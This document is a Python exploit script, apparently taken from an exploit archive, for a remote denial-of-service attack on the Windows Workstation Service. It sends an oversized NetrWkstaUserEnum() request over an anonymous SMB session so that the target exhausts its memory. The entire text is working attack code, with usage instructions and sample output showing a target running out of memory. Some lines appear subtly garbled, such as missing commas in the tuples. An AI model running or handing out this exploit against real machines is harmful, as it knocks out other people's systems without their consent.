MS Windows Workstation Service NetrWkstaUserEnum() 0day Memory Allocation Remote DoS Exploit # Bug discovered by h07

  1. #!/usr/bin/python
  2. # MS Windows Workstation Service NetrWkstaUserEnum() 0day Memory Allocation Remote DoS Exploit
  3. # Bug discovered by h07 <h07@interia.pl>
  4. # Tested on:..
  5. # - Windows XP SP2 Polish
  6. # - Windows 2000 SP4 Polish + All Microsoft Security Bulletins
  7. # Example:
  8. #
  9. # wks_dos.py 192.168.0.2 512
  10. #
  11. # [*] MS Windows NetrWkstaUserEnum() 0day Memory Allocation Remote DoS Exploit
  12. # [*] Coded by h07 <h07@interia.pl>
  13. # [*] Connecting to 192.168.0.2:445 (NULL Session)
  14. # [+] Connected
  15. # [+] The NETBIOS connection with the remote host timed out.
  16. # [+] 192.168.0.2: Out of memory
  17. # [+] Done
  18. #
  19. # NetrWkstaUserEnum(max_len = 1024 * 1024 * 512)
  20. # Exploit --> NULL Session --> PIPE: browser --> NetrWkstaUserEnum() --> Windows XP
  21. # svchost.exe memory usage: 512 MB
  22. ##
  23. from impacket.structure import Structure
  24. from impacket.nmb import NetBIOSTimeout
  25. from impacket.dcerpc import transport
  26. from impacket import uuid
  27. from struct import pack
  28. from string import atoi
  29. from sys import argv
  30. from sys import exit
  31. print "/n[*] MS Windows NetrWkstaUserEnum() 0day Memory Allocation Remote DoS Exploit"
  32. print "[*] Coded by h07 <h07@interia.pl>"
  33. if(len(argv) < 3):
  34.   print "[*] Usage: %s <host> <memory_size(MB)>" % (argv[0])
  35.   print "[*] Sample: %s 192.168.0.1 512" % (argv[0])
  36.   exit()
  37. MB = 1024 * 1024
  38. host = argv[1]
  39. memory_size = MB * atoi(argv[2])
  40. pipe = 'browser'
  41. UUID = ('6bffd098-a112-3610-9833-46c3f87e345a''1.0')
  42. stringbinding = "ncacn_np:%(host)s[//pipe//%(pipe)s]"
  43. stringbinding %= {'host':host, 'pipe':pipe}
  44. def utf16(str):
  45.    return str.encode('utf_16_le')
  46. class B1(Structure):
  47.    alignment = 4
  48.    structure = (
  49.        ('id''<L=0x41414141'),
  50.        ('max''<L'),
  51.        ('offset''<L=0'),
  52.        ('actual''<L'),
  53.        ('str''%s'),
  54.    )
  55. class NetrWkstaUserEnum(Structure):
  56.    alignment = 4
  57.    opnum = 2
  58.    structure = (
  59.        ('server'':', B1),
  60.        ('info_level1''<L=1'),
  61.        ('info_level2''<L=1'),
  62.        ('referent_id1''<L=0x42424242'),
  63.        ('num_entries''<L=0'),
  64.        ('null_pointer''<L=0'),
  65.        ('max_len''<L'),
  66.        ('referent_id2''<L=0x43434343'),
  67.        ('enumeration_handle''<L=0x00000000'),
  68.    )
  69. query = NetrWkstaUserEnum()
  70. server = "%s/x00" % (host)
  71. query['server'] = B1()
  72. query['server']['id'] = 0x41414141
  73. query['server']['actual'] = len(server)
  74. query['server']['max'] = len(server)
  75. query['server']['str'] = utf16(server)
  76. query['max_len'] = memory_size
  77. trans = transport.DCERPCTransportFactory(stringbinding)
  78. print "[*] Connecting to %s:445 (NULL Session)" % (host)
  79. try:
  80.   trans.connect()
  81. except Exception, err:
  82.   print "[-] %s" % (err)
  83.   exit()
  84. print "[+] Connected"
  85. dce = trans.DCERPC_class(trans)
  86. dce.bind(uuid.uuidtup_to_bin((UUID[0], UUID[1])))
  87. dce.call(query.opnum, query)
  88. try:
  89.   raw = dce.recv()
  90.   status = raw[-4:]
  91.   if(status == pack("<L", 0x00000005)):
  92.       print "[-] Return code: Access denied"
  93.       exit()
  94.   if(status == pack("<L", 0x00000008)):
  95.       print "[-] Return code: Memory allocation error, out of memory"
  96.       exit()
  97.   if(status == pack("<L", 0x00000000)):
  98.       print "[+] Return code: Success, memory allocated"
  99. except NetBIOSTimeout, err:
  100.   print "[+] %s" % (err)
  101.   print "[+] %s: Out of memory" % (host)
  102. print "[+] Done"
  103. # EoF

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值